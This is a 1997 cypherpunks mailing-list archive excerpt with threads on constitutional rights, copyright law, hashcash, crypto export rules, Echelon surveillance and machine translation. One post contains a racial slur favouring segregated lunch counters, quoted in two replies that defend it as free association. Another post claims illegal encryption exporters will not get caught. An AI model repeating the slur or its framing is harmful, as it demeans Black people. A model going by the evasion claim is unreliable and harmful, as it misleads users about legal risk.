Date: Sat, 20 Dec 1997 04:01:08 +0800
To: "Bruce Balden" <honig@otc.net>
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <01bd0cb3$3b343b40$69737018@eudoxus.bc.rogers.wave.ca>
Message-ID: <v03102802b0c06d46682c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:20 PM -0700 12/19/97, Bruce Balden wrote:
>>The first amendment is about what government can't do to you, not what your
>>neighbor can or can't do.
>>
>>
>And whether the constitution so narrowly construed limits the action of
>local councils. It would be extremely convenient if each fo the 50 states
>adopted by custom each of the federal amendements mutatis mutandis.

This is an interesting debate. But for those who claim, as we often see,
that the Constitution talks about what _Congress_ may do, and not about
what Virginia may do, or what Skokie may do, or what the Albemarle Country
Board of Supervisors may do, this is simply not true.

For example, "Maybe Congress shall make no law about speech, but Vermont
can tell you to shut up if they want to. And Idaho can force you to speak
in German. And the City of Baltimore can ban the Koran if they want to."

Nope.

I know of several ways of looking at this issue:

* States admitted to the Union have historically had to accept the U.S.
Constitution. In many cases, their own constitutions are nearly identical
to the U.S.C., or even predated the U.S.C. This binds the states to enforce
the Constitution and apply it to their own states.

* As a "guiding document," the spirit of the U.S.C. is what guides even
local laws. So even if the specific language only talks about Congress, the
intent is taken to me any and all government actions, Executive, Judicial,
state, local, etc.

* Some say that the 14th Amendment clarified the issue of whether the
States could have laws which were at odds with the Constitution. (Ownership
of slaves being the relevant case then.)

There's much scholarship on this issue, of course. I don't claim to follow
it all closely, but I'm highly dubious of the simplistic claims that
"Congress shall make no law" only applies to the U.S. Congress.

(With speech, my view is the common one, even for lawyers. Why the Second
Amendment is not treated the same way is a mystery to me. And Justice
Clarence Thomas has hinted that a Supreme Court review of a relevant Second
Amendment case may well result in exactly this ruling, that states and
localities may not infringe on basic Second Amendment rights.)


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Sat, 20 Dec 1997 03:32:30 +0800
To: David Honig <honig@otc.net>
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <3.0.5.32.19971219094521.007b9dc0@otc.net>
Message-ID: <Pine.LNX.3.95.971219113803.347D-100000@is-chief>
MIME-Version: 1.0
Content-Type: text/plain




On Fri, 19 Dec 1997, David Honig wrote:  ...

> If one ever questions this in public, as Tim did, the liberal response
> is to show that unPC 'discrimination' is possible if humans are free,
> and then the dutiful citizen gladly sacrifices employers' liberty for
> their warm and fuzzy feelings.  The first amendment is about what
> government can't do to you, not what your  neighbor can or can't do. 

Yeah.  The real question is what humans are free to do.  The freedom
to do something is also the freedom *not* to do something.  The freedom
to conduct a transaction (employing someone) must also be the freedom
not to conduct that transaction because the transaction is voluntary.

Making laws against people's decision making ability (i don't want to
associate with you because of "xyz") is making laws against people's
thought processes -- essentially mindcrime.  If you're doing something
to someone against their will it doesn't matter how you came to
that decision.  Its force.  Employment descrimination is not force,
it's abcense of force.

No force, no fraud, no crime.

Freedom of association cannot exist without the freedom to not associate.

I make no assumptions about some peoples strange reasons not to 
associate.  I advocate water sharing for everyone.  Hail Eris!

(btw: government cannot descriminate on the basis of sex, race,
religion etc because they have already used force to relieve
citizen units of their hard earned cashed regardless.  but making
moral decisions about what to do after force has been committed
is more about making amends than justice)

jim










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 20 Dec 1997 04:31:16 +0800
To: Colin Rafferty <craffert@ml.com>
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <3.0.5.32.19971219094521.007b9dc0@otc.net>
Message-ID: <v03102804b0c076498629@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:38 PM -0700 12/19/97, Colin Rafferty wrote:
>Tim May writes:
>
>> California is starting to unwind some of these unconstitutional (in the
>> "original" sense) rules. Quotas have ended, welfare is ending, etc. Maybe
>> some day we'll see freedom of association returned.
>
>That will be great, because then I won't have to share a lunch counter
>with those Niggers anymore.

Regardless of what thinks about that sentiment, that is indeed a
consequence of freedom in general and freedom of assocation in particular.


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Fri, 19 Dec 1997 20:19:09 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Is Unix dying--or even dead?
In-Reply-To: <199712190745.JAA17166@ankara.duzen.com.tr>
Message-ID: <349a62b8.37418915@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain



On 19 Dec 1997 05:59:43 -0600, "S. M. Halloran" <mitch@duzen.com.tr> wrote:

>
>>From Edupage, 18 December 1997:
>
><---------->
>TACTICAL SHIFT BY WORKSTATION COMPANIES
>Silicon Graphics Inc.'s plan to allow SGI graphics software to run on
>Microsoft's Windows NT operating system provides new evidence that a
>growing number of companies are giving up on Unix and instead
>standardizing on Windows NT.  SGI hopes to be able to use its
>experience in developing high-end graphics software without having to
>spend a great deal of time building the underlying technology
>represented by an operating system. (Washington Post  17 Dec 97)
><---------->

Does this mean that Unix is dying?
No, it means that graphics professionals are buying Wintel boxes instead of
SGI's expensive workstations. ( a shame really, SGI make some damn nice
workstations, but that pesky price/performance ratio is pushing people into
high end Wintel boxes)

-- Phelix






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 20 Dec 1997 04:20:18 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: <v03102806b0bf39d5ce31@[207.167.93.63]>
Message-ID: <v03102805b0c076d8a7ae@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:18 AM -0700 12/19/97, stewarts@ix.netcom.com wrote:
>At 01:47 PM 12/18/1997 -0700, Tim May wrote:

>>One of the key provisions was that home taping, or archival taping, or
>>taping for any _noncommercial_ use was now fully legal, with not even the
>>hint of illegality.
>
>But new laws generally override old laws.  After all, the old Copyright law
>excepted "fair use" copies from its coverage.  The mere fact that they're
>still taxing blank tape doesn't mean they can't re-criminalize copying.

And the blank tape I stocked up on, and paid taxes on?

And of course enforceability with these kinds of laws is unarguably almost
nonexistent. As someone said, this is a "cherry on the sundae" sort of law,
designed to pile on extra charges.

I would guess that 80% or more of all households will be in technical
violation of this law within a matter of months of its offical start.
Anyone with a home computer will likely make more than the number of
allowed backups, or will commingle several titles on the same ZIP drive, or
will (horrors!) share the use of a program between husband, wife, and
children. Or even (send in the SWAT ninjas) share with the neighbors.

And it's unclear (to me, at least) what this does to home taping of t.v.
shows and movies, which seemed pretty well-solved by the Disney-Sony
"Betamax" case.

The law will be used against folks like Jim Bell to pile on charges.

Lock and load,

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Sat, 20 Dec 1997 04:50:05 +0800
To: Robert Hettinga <schear@lvdi.net>
Subject: Re: Lions and Tigers and Micromoney, Oh, My...
In-Reply-To: <199712182121.QAA04394@users.invweb.net>
Message-ID: <3.0.3.32.19971219123619.0070897c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 4:21 pm -0500 on 12/18/97, William H. Geiger III wrote, 
though not in this order,

>> I have *PAID IN FULL* for my Inet usage!! What bits I send over the Inet,
>> how many bits I send, and who I send them to is NO ONE's BUSINESS but my
>> own!!! -- Last Anarchist of the Inet.

You've paid for your end of the connection, but you haven't paid for mine,
and you especially haven't paid for getting your bits to my eyeballs.
Neither has Spamford.  I'm usually willing to read your words, but not his.
Hashcash-mail is a tool for users to use to automate limiting the email 
they receive to mail sent out by real individuals who actually want to 
communicate with them, throwing away mail from spammers.

Whether it will catch on or not is a social issue.  There are telephone
answering devices that prompt for a password and either hang up on callers
who don't have one, forward them to the answering machine, or just
give them a low-priority ring.  I don't use one, and nobody I know
currently does, because they annoy the callers you care about
more than they annoy telephone spammers, who have lists of thousands of
other people to spam if you're not interested.  On the other ham,
if PacBell offered distinctive ringing like most Bell companies do,
I'd use it - not for splitting types of callers, but for my fax machine...

>> Note: In Adams proposal for hashcash only charges the user CPU cycles. The
>> incentive for wide implementation of hashcash is going to be a real ecash
>> based system where the implementors can make $$$ off it.

It would be interesting to find useful problems that could be used 
instead of hash collisions.  Factoring numbers can be distributed well,
and it's possible to tell quickly that X is a factor of Y, but unfortunately
it's not possible to tell quickly that the user unsuccessfully checked some
range of potential factors rather than just pretending to have done so.
Similarly, if the user finds the key K | C=DES(M,K), you can tell quickly,
but you can't tell if the user checked a range K1..Kn except by
checking it yourself (slowly.)  But maybe there's some useful variant that
can be checked quickly.

>> Well IMNSHO hashcash mail sucks!! It opens up the pandora's box of usage
>> based charges for everything done on the 'net. What will be next? FTP
>> sites charging hashcash for DL's? WebPages charging hashcash per hit? DNS
>> servers charging per lookup? Routers charging per packet?

Digicash, maybe, though not hashcash, since hashcash is just a timewaster
that's easy to verify and only takes a long time for high-volume users.
As far as routers charging per packet goes, we've had X.25 networks which
charge by the kilopacket for a long time; it's much clumsier and more
expensive
to operate than a flat-rate network.  One of the reasons the Internet has 
overtaken X.25 so dramatically is that flat-rate pricing encourages people to
use and provide free services, increasing the base of customers and the
size of the flat-rate service they buy -- the ISPs also win.

And many web pages _do_ charge for reading them - usually the charge is
the time it takes to download and (read or) discard an advertising banner;
users are generally much more willing to pay that cost than cash,
though there are some services that give you abstracts of articles for free
and charge you money for the full version (either charging per item or 
charging per month for "premium" service.)

DNS charges are paid for by the domain name holder who wants to be found.
TLDs and SLDs are funded by the domain name registration fees in some places,
and unfortunately by Your Tax Dollars in other places, or by DNS fees
laundered by the government through their subcontractors.
Lower-level domain name service is paid for by the SLD holder or agents.
If you don't want to pay to publish your DNS name on the servers,
you can always call yourself http://192.257.23.42/ or whatever,
as many spam sellers do.


				Thanks! 
					Bill
Bill Stewart, bill.stewart@pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 22 Dec 1997 22:34:00 +0800
To: Anonymous <anon@anon.efga.org>
Subject: Re: your mail
In-Reply-To: <4b9b4413a3c76c5844ee488a0193d669@anon.efga.org>
Message-ID: <Pine.LNX.3.91.971219133054.1132A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> If I live in the US and put the perl RSA code in
> my sig, then post in an international newsgroup,
> have I illegally exported encryption?

Yes, so, I believe under the EAR, has the admin of the newshost which 
sends the post out of the US.

> If I put that same code on my web site, then
> post requests to view my site in an
> international newsgroup, have I exported it?

Yes, I believe that is the case, the same applies to FTP, and any other 
similar protocol.

> What is the penalty for exporting powerful
> encryption?

Can`t recall, I`m sure someone here knows the EAR tariffs, it`s pretty 
steep but a. you wont get caught, and b. if you do, the prosecution is 
highly unlikely to be succesful.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 22 Dec 1997 22:27:58 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Identity, Persistence, Anonymity, and Accountability--Part I
In-Reply-To: <v0300780ab0bb541ab465@[168.161.105.216]>
Message-ID: <Pine.LNX.3.91.971219133750.1132B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




>      You Own Your Own Posts: You own your own words. This means that you
>      are responsible for the words that you post to Nym and that
>      reproduction of those words without your permission in any medium
>      outside of the Nym mailing list may be challenged by you, the
>      author.

I am sure I need not outline for the members of the list the reasons why 
such copyright supporting drivel is not really in the spirit of the list, 
no-one owns my words, not me, nor anyone else, copyrights and patents 
infringe true free speech.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Sat, 20 Dec 1997 06:18:35 +0800
To: cypherpunks@Algebra.COM
Subject: world spy system
Message-ID: <199712192214.OAA04686@netcom19.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




------- Forwarded Message

Date: Fri, 19 Dec 1997 10:47:17
To: believer@telepath.com
From: believer@telepath.com
Subject: IP: NSA Spy Network confirmed by EU

Forwarded from the London Telegraph:
- ----------------------------------------------------------

>Daily Telegraph  Connected Supplement 16th December 1997
>
>A European Commission report warns that the United States has developed an
>extensive spying network on European Citizens and we should all be worried,
>reports Simon Davies.
>
>A global electronic spy network that can eavesdrop on every telephone,email
>and telex communication around the world will be officially acknowledged
>for the first time in a European Commission report to be delivered this
>week.
>
>The report - Assessing the Technologies of Political Control -- was com-
>missioned last year by the Civil Liberties Committee of the European
>Parliament. It contains details of a network of American-controlled spy
>stations on British soil and around the world. that "routinely and
>indiscriminately" monitors countless phone, fax and email messages.
>
>It states: "Within Europe all email telephone and fax communications are
>routinely intercepted bv the United States Natiomnal Security Agency
>transfering all target information from the European nmainland via the
>strategic hub of London then by satellite to Fort Meade in Maryland via
>the crucial hub at Menwith Hill" in Yorkshire.
>
>The report confirms for the first time the existence of a the secretive
>Echelon system.
>
>Until now evidence of such astounding technology has been patchy and
>anecdotal. But the report - to be discussed on Thursday by the committee
>of the office of Science and Technology Assessment in Luxembourg - confirms
>that the citizens of Britain and other European states are subject to an
>intensity of surveillance far in excess of that imagined by most parlia-
>ments. Its findings arc certain to excite the concern of MEPS.
>
>"The Echelon system forms part of the UKUSA system but unlike many of the
>electronic spy sysfems developed during the Cold War, Echelon is designed
>primarily for non- military targets: governments, organizations  and
>businesses in virtually every country.
>
>"The Echelon system works by indiscriminately intercepting very large
>quantities of communications and then siphoning out what is valuable using
>artificial intelligence aids like MEMEX to find key words".
>
>According to the report, Echelon uses a number of national dictionaries
>containing key words of interest to each country.
>
>For more than a decade, former agents of US, British. Canadian and New
>Zealand national security agencies have claimed that the monitoring of
>electronic communications has become endemic throughout the world. Rumours
>have circulated that new technologies have been developed which have the
>capability to search most of the world's telex, fax and enaail networks
>for "keywords". Phone calls. they claim. can be automatically analysed for
>key words.
>
>Former signals intelligence operatives have claimed that spy bases control
>led by America have the ability to search nearly all data communications
>for kev words. They claim that Echelon automatically analyses most email
>messaging for "precursor". data which assists intelligence agencies to
>determine targets. According to former Canadian Security Establishment
>agent Mike Frost. a voice recognition system called Oratory has been used
>for some years to intercept diplomatic calls.
>
>The driving force behind the report is Glyn Ford. Labour MEP for Greater
>Manchester East. He believes the report is crucial to the future of civil
>liberties in Europe.
>
>"In the civil liberties committee we spend a great deal of time debating
>issues such as free movement, immigration and drugs. Technology always
>sits at the centre of these discussions.
>
>"There are times in history when technology helps democratise, and times
>when it helps centralise. This is a time of centralisation. The justice
>and home affairs pillar of Europe has become more powerful without a
>corresponding strengthening of civil liberties."
>
>The report recommnends a variety of measure for dealing with the increas-
>ing power of the the technologies of surveilance being used at Menwith
>Hill and other centres. It bluntlyy advises: "The European Parliament
>should reject proposals from the United States for making private messages
>via the global communications network Internet) accessible to US intelli-
>gence agencies.
>
>The report also urges a fundamental review of the involvement of the
>American NSA (National Security Agency in Europe, suggestng that the
>activities be either scaled down, or become more open and accountable.
>
>Such concerns have been privately expressed by governments and MEPS since
>the Cold War, but surveillance has continued to expand. US intelligence
>activity in Britain has enjoyed a steady growth throughout the past two
>decades. The principal motivation for this rush of development is the US
>interest in commercial espionage. In the Fifties. during the development
>of the 'special relationship'. between America and Britain, one US insti-
>tution was singled out for special attention.
>
>The NSA, the world's biggest and most powerful signals intelligence organ-
>isation. received approval to set up a network of spy stations throughout
>Britain. "Their role was to provide military, diplomatic and economic
>intelligelince by intercepting communications from throughout the Northern
>Hemisphere.
>
>The NSA is one of the shadowiest of the shadowy US intelligence agencies.
>Until a few years ago, it existence was a secret and its charter and any
>mention of its duties are still classified. However, it does have a Web
>site (www.nsa.gov:8080) in which it describes itself as being responsible
>for the signals intelligence and communications security activities of
>the US government.
>
>One of its bases, Menwith Hill, was to become the biggest spy station in
>the world. Its ears - known as radomes - are capable of listening in to
>vast chunks of the communications spectrum throughout Europe and the old
>Soviet Union.
>
>In its first decade the base sucked data from cables and microwave links
>running through a nearby Post Office Tower, but the communications revolu-
>tions of the Seventies and Eighties gave the base a capability that even
>its architects could scarcely have been able to imagine. With the creation
>of Intelsat and digital telecomnunications, Menwith and other stations
>developed the capability to eavesdrop on an extensive scale on fax, telex
>and voice messages. Then. with the development of the Internet, electronic
>mail and electronic commerce, the listening posts were able to increase
>their monitoring capability to eavesdrop on an unprecedented spectrum (of
>personal and business communications.
>
>This activitv has been all but ignored by Parliament. When Labour MEPS
>raised questions about the activities of the NSA. the Government invoked
>secrecy rules. It has been the same for for 40 Years.
>
>Glyn Ford hopes his report may be the first step in a long road to more
>openness. "Some democratically elected body should surely have a right to
>know at some level. At the monment that's nowhere.
     


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------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Sat, 20 Dec 1997 06:21:10 +0800
To: cypherpunks@Algebra.COM
Subject: clinton slapped by judge
Message-ID: <199712192216.OAA05945@netcom19.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



a rare challenge to clinton's executive power & lies by the judicial
branch. see the book "secret life of bill clinton" by ambrose
evans pritchard for more excellent info about the true state of
our union.

------- Forwarded Message

Date: Fri, 19 Dec 1997 11:40:40
To: believer@telepath.com
From: believer@telepath.com
Subject: IP: White House to Pay for Cover-Up

>From the Washington Times:

White House to pay for health care lies

By Paul Bedard
THE WASHINGTON TIMES

The White House and lawyers defending first lady Hillary
Rodham Clinton lied in an effort to keep internal working
papers used to develop President Clinton's universal health
care plan in 1993 secret, a federal judge said Thursday.

   Using blunt language in a written order, U.S. District Judge
Royce C. Lamberth also accused administration officials at "the
highest levels of government" of engaging in a "cover-up" and
pressuring the Justice Department to defend its "dishonest"
actions.

   "It is clear that the decisions here were made at the highest
levels of government and the government itself is -- and should
be --accountable when its officials run amok," Judge Lamberth
wrote.

   "It seems that some government officials never learn that the
cover-up can be worse than the underlying conduct," he
added, ordering the government to pay legal fees of $285,864
to the doctors trade group that sued the White House in
February 1993 to open up the first lady's health care planning
meetings to the public.

   The White House has said taxpayers will pay the bill. "We
don't have any comment," White House spokesman Barry Toiv
said Thursday.

   Justice Department spokesman Bert Brandenburg said,
"The government has consistently maintained 
that sanctions are not appropriate.

   "We disagree with Judge Lamberth's conclusion but we
take his opinion seriously. We are reviewing the decision and
considering what action is appropriate," Mr. Brandenburg said.

   "We're pleased at this point to have any reimbursement, but
the money was never the issue," said Kathryn Serkes,
spokeswoman for the Association of American Physicians and
Surgeons, the group that brought the initial suit against Mrs.
Clinton and her health care task force.

   "What's important are the conclusions that the judge
reached. Without using the president or first lady's name, he
points a finger squarely at them," she said.

   The doctors group filed suit to open up closed meetings of
Mrs. Clinton's Health Care Task Force. They maintained the
first lady was violating the Federal Advisory Committee Act,
which requires that any federal advisory panel that includes a
nongovernment worker must always meet in the open.

   The association said Mrs. Clinton was not an employee of
the government, but an appeals court determined that Mrs.
Clinton was a de facto federal employee and thus allowed her
group to meet privately.

   The doctors group then tried to open up secret meetings of
Mrs. Clinton's larger "working group," which numbered
between 600 and 1,000, but Judge Lamberth temporarily
blocked that plan when Clinton health care adviser Ira
Magaziner said the panel included "only federal government
employees."

   But Mr. Magaziner's March 3, 1993, statement was
"actually false," said the judge, who expressed anger that the
White House and Justice Department never moved to correct
the fabrication.

   Judge Lamberth relied upon Mr. Magaziner's statement in
refusing to open up the working group's meetings as required
by the law. In fact, the group included hundreds of
nongovernmental members and representatives of
special-interest groups who would have profited if the Clintons'
universal health care proposal was approved. The proposal
never came to a vote in Congress.

   The legal effort to open the meetings was eventually
rendered moot after the White House turned over the working
group's internal documents.

   In addition to revealing the special interests involved in
drawing up the Clinton plan, the documents released over time
by the White House showed that private-sector members of
the group were still trying to complete ethics and
conflict-of-interest forms long after their employment had
begun.

   In his decision Thursday, the judge gave the doctors group
credit for giving the public a window on the development of the
administration's massive health care bill.

   "All of these working group documents would be safely
tucked away in the National Archives had it not been for this
litigation. It is only because of this litigation that they are now
available for inspection by the public," he wrote.

   Judge Lamberth subsequently sought a perjury investigation
of Mr. Magaziner, but the Justice Department said it wouldn't
prosecute the White House aide who oversaw the drafting of
the 1,400-page national health bill. He is currently Mr.
Clinton's top adviser on policies dealing with the Internet.

   In Thursday's action, Judge Lamberth said that Mr.
Magaziner's misleading statements in March 1993 were part of
a cover-up organized by the first lady's attorneys, including
Deputy White House Counsel Vincent W. Foster Jr., who died
four months later in an apparent suicide, and Associate
Attorney General Webster L. Hubbell.

   In his just-published book, Mr. Hubbell writes that Mr.
Foster committed suicide in part because of the pressure Mrs.
Clinton put on him to defend her in the case. Mr. Hubbell
himself would later resign his post under pressure and plead
guilty to stealing from the Little Rock law firm where he, the
first lady and Mr. Foster all once worked.

   "It is clear that Mr. Magaziner relied upon the advice of
White House attorneys -- including Vincent Foster ... and
Associate Attorney General Webster Hubbell," said the judge.

   The judge said the "most outrageous conduct by the
government" in the case was the administration's failure to
correct Mr. Magaziner's misstatement. "That was a
determination not made individually by Mr. Magaziner, but by
the government through its counsel," he said.

   "There were no rogue lawyers here misleading this court. ...
The executive branch of the government, working in tandem,
was dishonest with this court and the government must now
face the consequences of its misconduct."

   He also expressed shock that the Justice Department
"succumbed to pressure from White House attorneys" to use
false excuses and "strained interpretations" to defend the
actions of Mr. Magaziner.

   "Acting dishonestly, as the government did in this case, is ...
acting in bad faith," he said.

Copyright (c) 1997 News World Communications, Inc.
     


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     subscribe ignition-point email@address
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**********************************************

------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sat, 20 Dec 1997 04:39:27 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: <v03102805b0c076d8a7ae@[207.167.93.63]>
Message-ID: <199712192028.PAA03374@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102805b0c076d8a7ae@[207.167.93.63]>, on 12/19/97 
   at 02:15 PM, Tim May <tcmay@got.net> said:

>The law will be used against folks like Jim Bell to pile on charges.

Yep, in effect it has made *everyone* a felon subject to a lenghty prison
sentence at the whim of the Lea's.

It also make it much easier for the Lea's to manufacture "evidence"
against anyone. After they confiscate your compute equipment they just
make a few floppies and volia!! Instant felon!! At least under old laws
they had to prove that you were trying to turn a profit off of copies
which is a much harder thing to do.

I for one would not wish to be in the position to convince a jury that *I*
did not create those floppies.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sat, 20 Dec 1997 08:50:47 +0800
To: Colin Rafferty <craffert@ml.com>
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <ocriusl15ub.fsf@ml.com>
Message-ID: <199712200044.TAA05482@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <ocriusl15ub.fsf@ml.com>, on 12/19/97 
   at 02:38 PM, Colin Rafferty <craffert@ml.com> said:


>Tim May writes:

>> California is starting to unwind some of these unconstitutional (in the
>> "original" sense) rules. Quotas have ended, welfare is ending, etc. Maybe
>> some day we'll see freedom of association returned.

>That will be great, because then I won't have to share a lunch counter
>with those Niggers anymore.

Yep and they woun't have to share it with you either. It's all part of
what living in a *free* society is all about.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Colin Rafferty <craffert@ml.com>
Date: Sat, 20 Dec 1997 04:02:10 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <3.0.5.32.19971219094521.007b9dc0@otc.net>
Message-ID: <ocriusl15ub.fsf@ml.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May writes:

> California is starting to unwind some of these unconstitutional (in the
> "original" sense) rules. Quotas have ended, welfare is ending, etc. Maybe
> some day we'll see freedom of association returned.

That will be great, because then I won't have to share a lunch counter
with those Niggers anymore.

-- 
Colin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 20 Dec 1997 08:06:35 +0800
To: cypherpunks@Algebra.COM
Subject: Automatic Translations
Message-ID: <v03102808b0c0a5dcb374@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/enriched



I just discovered an amazing, wonderful service which translates text into and from various European languages. Samples included here, of this text.

Ich entdeckte gerade ein Überraschen, wundervollen Service, den Text in und von den verschiedenen europäischen Sprachen übersetzt. Proben hier umfaßt, von diesem Text. 

J'ai juste découvert stupéfier, le service merveilleux dans lequel traduit le texte et de diverses langues européennes. Échantillons inclus ici, de ce texte.

Ho scoperto appena uno stupore, servizio meraviglioso in cui traduce il testo e dalle varie lingue comunitarie. Campioni inclusi qui, di questo testo.

Acabo de descubrir sorprender, el servicio maravilloso en el cual traduce el texto y de varios lenguajes europeos. Muestras incluidas aquí, de este texto.

The URL is http://babelfish.altavista.digital.com/cgi-bin/translate?

For a more challenging series, here's the following Cypherpunkish text translated into a language, back into English, then into another language, etc., just to see what sorts of interesting things happen. (I mistyped "here" as "hear," through inattention, and this will screw up some of the translations still further...oh well.)


Cypherpunks write code. Crypto anarchy. Big Brother Inside. We're from the government, and we're hear to help. National borders aren't even speed bumps on the information superhighway. Abandon all hope, all ye who enter here. The tentacles of Medusa are torturing my mind. What have you got to hide?

Cypherpunks schreiben Code. Schlüsselanarchy. Grosser Bruder Nach innen. Wir sind von der Regierung, und wir sind hören, um zu helfen. Nationale Ränder sind nicht gleichmäßige Geschwindigkeitsstösse auf der Informationsautobahn. Verlassen Sie alle Hoffnung, alles ye, das hier eintragen. Die tentacles der Medusa quälen meinen Verstand. Was haben Sie erhalten, zu verstecken? 

Cypherpunks write code. Schluesselanarchy. Large brother inward. We are from the government, and we are hear, in order to help. National edges are not even rate impacts on the information motorway. Leave all hope, all ye, which enter here. Those the tentacles Medusa torment mean understanding. What did you receive to hide? 

Cypherpunks écrivent le code. Schluesselanarchy. Grand frère centripète. Nous sommes du gouvernement, et nous sommes entendons, afin d'aider. Les bords nationaux ne sont pas des  impacts égaux de cadence sur l'autoroute de l'information. Laissez tout l'espoir, tout le ye, qui entrent ici. Ceux la compréhension moyenne de torment de méduse de tentacles. Qu'avez-vous reçu pour cacher? 

Cypherpunks write the code. Schluesselanarchy. Big centripetal brother. We are government, and we sums hear, in order to help. The national edges are not equal impacts of rate on the motorway of information. Leave all the hope, all the ye, which enters here. Those the average comprehension of torment of jellyfish of tentacles. What did you receive for hiding? 

Cypherpunks scrive il codice. Schluesselanarchy. Fratello centripeto grande. Siamo governo e sommiamo ci sentiamo, per aiutare. I bordi nazionali non sono effetti uguali del tasso sull'  autostrada delle informazioni. Lasciare tutta la speranza, tutto il ye, che entra qui. Quelli  comprensione media del torment delle meduse dei tentacles. Che cosa avete ricevuto per  nascondersi? 

Cypherpunks writes the code. Schluesselanarchy. Large centripetal brother. We are government and we add we feel ourselves, in order to help. The national edges are not equal effects of the rate on the freeway of the information. To leave all the hope, all the ye, that it enters here. That medium understanding of the torment of the jellyfishes of the tentacles. Which thing you have received for nascondersi? 

